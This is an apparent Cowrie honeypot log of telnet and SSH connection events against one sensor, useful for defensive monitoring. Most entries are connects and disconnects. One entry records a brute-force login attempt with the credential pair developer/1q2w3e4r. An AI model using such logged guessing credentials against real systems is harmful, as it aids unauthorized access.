{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55410,"dst_ip":"159.203.135.109","dst_port":23,"session":"792411aa8a5e","protocol":"telnet","message":"New connection: 94.23.76.26:55410 (159.203.135.109:23) [session: 792411aa8a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:57.233255Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.156.123.93","src_port":47416,"dst_ip":"159.203.135.109","dst_port":23,"session":"70e3c0a910f7","protocol":"telnet","message":"New connection: 217.156.123.93:47416 (159.203.135.109:23) [session: 70e3c0a910f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:57.488693Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55414,"dst_ip":"159.203.135.109","dst_port":23,"session":"9279d2d8bbfd","protocol":"telnet","message":"New connection: 94.23.76.26:55414 (159.203.135.109:23) [session: 9279d2d8bbfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:57.659191Z"}
{"eventid":"cowrie.session.closed","duration":30.36209487915039,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:58.238600Z","src_ip":"35.187.38.22","session":"aeab937d9e13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":36498,"dst_ip":"159.203.135.109","dst_port":23,"session":"f53fd4040e08","protocol":"telnet","message":"New connection: 35.187.38.22:36498 (159.203.135.109:23) [session: f53fd4040e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:58.285459Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":36512,"dst_ip":"159.203.135.109","dst_port":23,"session":"44bfd07a0ce4","protocol":"telnet","message":"New connection: 35.187.38.22:36512 (159.203.135.109:23) [session: 44bfd07a0ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:58.296796Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55422,"dst_ip":"159.203.135.109","dst_port":23,"session":"48da9b046ebe","protocol":"telnet","message":"New connection: 94.23.76.26:55422 (159.203.135.109:23) [session: 48da9b046ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:58.461322Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55430,"dst_ip":"159.203.135.109","dst_port":23,"session":"b82432975324","protocol":"telnet","message":"New connection: 94.23.76.26:55430 (159.203.135.109:23) [session: b82432975324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:58.475243Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":36632,"dst_ip":"159.203.135.109","dst_port":23,"session":"c82c68a238ec","protocol":"telnet","message":"New connection: 46.4.8.162:36632 (159.203.135.109:23) [session: c82c68a238ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:59.095238Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55438,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fbb6f4d5839","protocol":"telnet","message":"New connection: 94.23.76.26:55438 (159.203.135.109:23) [session: 2fbb6f4d5839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:59.273911Z"}
{"eventid":"cowrie.session.closed","duration":34.28345513343811,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:59.556733Z","src_ip":"46.4.8.162","session":"02c8a78f97eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":36644,"dst_ip":"159.203.135.109","dst_port":23,"session":"866d1885853a","protocol":"telnet","message":"New connection: 46.4.8.162:36644 (159.203.135.109:23) [session: 866d1885853a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:20:59.844069Z"}
{"eventid":"cowrie.session.closed","duration":30.42284321784973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:00.074431Z","src_ip":"75.119.159.60","session":"916498f322b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.575103282928467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:01.183899Z","src_ip":"75.119.159.60","session":"ba3c1db77ac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":36654,"dst_ip":"159.203.135.109","dst_port":23,"session":"c316bcc4933c","protocol":"telnet","message":"New connection: 46.4.8.162:36654 (159.203.135.109:23) [session: c316bcc4933c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:01.513764Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55448,"dst_ip":"159.203.135.109","dst_port":23,"session":"913fabccd3ae","protocol":"telnet","message":"New connection: 94.23.76.26:55448 (159.203.135.109:23) [session: 913fabccd3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:02.214468Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":42362,"dst_ip":"159.203.135.109","dst_port":23,"session":"47a4e9f2cf91","protocol":"telnet","message":"New connection: 35.187.38.22:42362 (159.203.135.109:23) [session: 47a4e9f2cf91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:02.302434Z"}
{"eventid":"cowrie.session.closed","duration":30.846738815307617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:03.052946Z","src_ip":"94.23.76.26","session":"f68733d58a59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18618392944336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:03.173088Z","src_ip":"75.119.159.60","session":"1cd8d69d6e53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895618438720703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:04.095334Z","src_ip":"94.23.76.26","session":"b85b81fe92c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55450,"dst_ip":"159.203.135.109","dst_port":23,"session":"e258f6fc50f8","protocol":"telnet","message":"New connection: 94.23.76.26:55450 (159.203.135.109:23) [session: e258f6fc50f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:04.196743Z"}
{"eventid":"cowrie.session.closed","duration":30.91317582130432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:04.241608Z","src_ip":"35.187.38.22","session":"4dc85b2ed131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55456,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e62c08b8956","protocol":"telnet","message":"New connection: 94.23.76.26:55456 (159.203.135.109:23) [session: 8e62c08b8956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:04.258078Z"}
{"eventid":"cowrie.session.closed","duration":30.979532957077026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:04.295088Z","src_ip":"35.187.38.22","session":"051f8e377f5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":46326,"dst_ip":"159.203.135.109","dst_port":23,"session":"838567eec288","protocol":"telnet","message":"New connection: 35.187.38.22:46326 (159.203.135.109:23) [session: 838567eec288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:04.320657Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":46662,"dst_ip":"159.203.135.109","dst_port":23,"session":"47087d801e08","protocol":"telnet","message":"New connection: 35.187.38.22:46662 (159.203.135.109:23) [session: 47087d801e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:04.391381Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":46718,"dst_ip":"159.203.135.109","dst_port":23,"session":"16124e984580","protocol":"telnet","message":"New connection: 35.187.38.22:46718 (159.203.135.109:23) [session: 16124e984580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:04.399175Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":46922,"dst_ip":"159.203.135.109","dst_port":23,"session":"b747d52dfb95","protocol":"telnet","message":"New connection: 35.187.38.22:46922 (159.203.135.109:23) [session: b747d52dfb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:04.421795Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":46994,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d63b42b92d8","protocol":"telnet","message":"New connection: 35.187.38.22:46994 (159.203.135.109:23) [session: 2d63b42b92d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:04.475331Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.114.11.160","src_port":49946,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f168c545e0d","protocol":"ssh","message":"New connection: 122.114.11.160:49946 (10.17.0.5:22) [session: 4f168c545e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:04.649492Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":51908,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8803ca95e11","protocol":"telnet","message":"New connection: 46.4.8.162:51908 (159.203.135.109:23) [session: b8803ca95e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:05.010983Z"}
{"eventid":"cowrie.session.closed","duration":30.279197454452515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:05.069563Z","src_ip":"94.23.76.26","session":"cdbb23157934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.229297876358032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:05.075888Z","src_ip":"94.23.76.26","session":"0f824c946c95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55458,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3da257f362e","protocol":"telnet","message":"New connection: 94.23.76.26:55458 (159.203.135.109:23) [session: f3da257f362e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:05.222112Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55462,"dst_ip":"159.203.135.109","dst_port":23,"session":"fed798f50ba8","protocol":"telnet","message":"New connection: 94.23.76.26:55462 (159.203.135.109:23) [session: fed798f50ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:05.279234Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.156.123.93","src_port":33534,"dst_ip":"159.203.135.109","dst_port":23,"session":"e11e63295664","protocol":"telnet","message":"New connection: 217.156.123.93:33534 (159.203.135.109:23) [session: e11e63295664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:05.383632Z"}
{"eventid":"cowrie.session.closed","duration":32.3824143409729,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:05.468533Z","src_ip":"46.4.8.162","session":"a0f3e374336d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58062,"dst_ip":"159.203.135.109","dst_port":23,"session":"99b1ca91f0a2","protocol":"telnet","message":"New connection: 94.23.76.26:58062 (159.203.135.109:23) [session: 99b1ca91f0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:06.222301Z"}
{"eventid":"cowrie.session.closed","duration":32.440961837768555,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:06.256034Z","src_ip":"46.4.8.162","session":"888ecf536f03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":48968,"dst_ip":"159.203.135.109","dst_port":23,"session":"d40aeed7af30","protocol":"telnet","message":"New connection: 35.187.38.22:48968 (159.203.135.109:23) [session: d40aeed7af30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:06.286682Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":46242,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec9d4264bab2","protocol":"telnet","message":"New connection: 75.119.159.60:46242 (10.17.0.5:23) [session: ec9d4264bab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:06.499394Z"}
{"eventid":"cowrie.session.closed","duration":30.80853033065796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:07.125657Z","src_ip":"75.119.159.60","session":"cd71e52aa3d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374326705932617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:07.321818Z","src_ip":"35.187.38.22","session":"0dbaac44b9d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58066,"dst_ip":"159.203.135.109","dst_port":23,"session":"f16c750f1119","protocol":"telnet","message":"New connection: 94.23.76.26:58066 (159.203.135.109:23) [session: f16c750f1119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:07.456962Z"}
{"eventid":"cowrie.session.closed","duration":30.827750205993652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:08.116730Z","src_ip":"94.23.76.26","session":"7bee3103da36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88899540901184,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:08.171646Z","src_ip":"46.4.8.162","session":"83a519f003bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":52036,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1b5f432c2ac","protocol":"telnet","message":"New connection: 35.187.38.22:52036 (159.203.135.109:23) [session: a1b5f432c2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:08.370441Z"}
{"eventid":"cowrie.session.closed","duration":30.835635662078857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:10.053646Z","src_ip":"94.23.76.26","session":"b03da8a2e028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":60560,"dst_ip":"159.203.135.109","dst_port":22,"session":"47284d496fcb","protocol":"ssh","message":"New connection: 45.78.208.179:60560 (159.203.135.109:22) [session: 47284d496fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:10.094420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:10.100940Z","src_ip":"45.78.208.179","session":"47284d496fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:10.345113Z","src_ip":"45.78.208.179","session":"47284d496fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58074,"dst_ip":"159.203.135.109","dst_port":23,"session":"29f8b69a9bd1","protocol":"telnet","message":"New connection: 94.23.76.26:58074 (159.203.135.109:23) [session: 29f8b69a9bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:10.355771Z"}
{"eventid":"cowrie.session.closed","duration":30.74700379371643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:10.530070Z","src_ip":"75.119.159.60","session":"757a851814a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:10.602584Z","src_ip":"122.114.11.160","session":"4f168c545e0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"1q2w3e4r","message":"login attempt [developer/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:11.351840Z","src_ip":"45.78.208.179","session":"47284d496fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":49838,"dst_ip":"10.17.0.5","dst_port":23,"session":"581c2906e0fe","protocol":"telnet","message":"New connection: 75.119.159.60:49838 (10.17.0.5:23) [session: 581c2906e0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:11.379141Z"}
{"eventid":"cowrie.session.closed","duration":30.593448162078857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:12.045691Z","src_ip":"94.23.76.26","session":"fb2211b7da93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642736673355103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:12.127335Z","src_ip":"75.119.159.60","session":"794367a905e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858224630355835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:12.215729Z","src_ip":"94.23.76.26","session":"839384737877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58078,"dst_ip":"159.203.135.109","dst_port":23,"session":"787cf24cc294","protocol":"telnet","message":"New connection: 94.23.76.26:58078 (159.203.135.109:23) [session: 787cf24cc294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:12.223464Z"}
{"eventid":"cowrie.session.closed","duration":30.427445650100708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:12.229077Z","src_ip":"75.119.159.60","session":"bab3a60b8152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58094,"dst_ip":"159.203.135.109","dst_port":23,"session":"37394bf1e094","protocol":"telnet","message":"New connection: 94.23.76.26:58094 (159.203.135.109:23) [session: 37394bf1e094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:12.332836Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:12.597408Z","src_ip":"45.78.208.179","session":"47284d496fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.471267461776733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:13.076468Z","src_ip":"75.119.159.60","session":"577331d6ce9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33264994621277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:13.111347Z","src_ip":"94.23.76.26","session":"ee9b8bdb6e1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9337899684906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:13.139866Z","src_ip":"94.23.76.26","session":"e0ab22af99b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58100,"dst_ip":"159.203.135.109","dst_port":23,"session":"a124792753de","protocol":"telnet","message":"New connection: 94.23.76.26:58100 (159.203.135.109:23) [session: a124792753de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:13.209087Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58116,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d6c7a76923b","protocol":"telnet","message":"New connection: 94.23.76.26:58116 (159.203.135.109:23) [session: 9d6c7a76923b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:13.282565Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58122,"dst_ip":"159.203.135.109","dst_port":23,"session":"5616569b519b","protocol":"telnet","message":"New connection: 94.23.76.26:58122 (159.203.135.109:23) [session: 5616569b519b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:13.809976Z"}
{"eventid":"cowrie.session.closed","duration":30.647490739822388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:14.085587Z","src_ip":"94.23.76.26","session":"a9a145a011aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58138,"dst_ip":"159.203.135.109","dst_port":23,"session":"9939674b35c3","protocol":"telnet","message":"New connection: 94.23.76.26:58138 (159.203.135.109:23) [session: 9939674b35c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:14.206531Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58146,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e092770f29a","protocol":"telnet","message":"New connection: 94.23.76.26:58146 (159.203.135.109:23) [session: 9e092770f29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:14.967913Z"}
{"eventid":"cowrie.session.closed","duration":30.83015727996826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:15.171295Z","src_ip":"75.119.159.60","session":"a12db2be4f9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791656017303467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:15.201470Z","src_ip":"35.187.38.22","session":"efe998a2a388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.961071968078613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:15.249281Z","src_ip":"35.187.38.22","session":"6d1bb9eb05b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98162603378296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:15.287969Z","src_ip":"35.187.38.22","session":"d2a7bde55ddb","protocol":"telnet"}
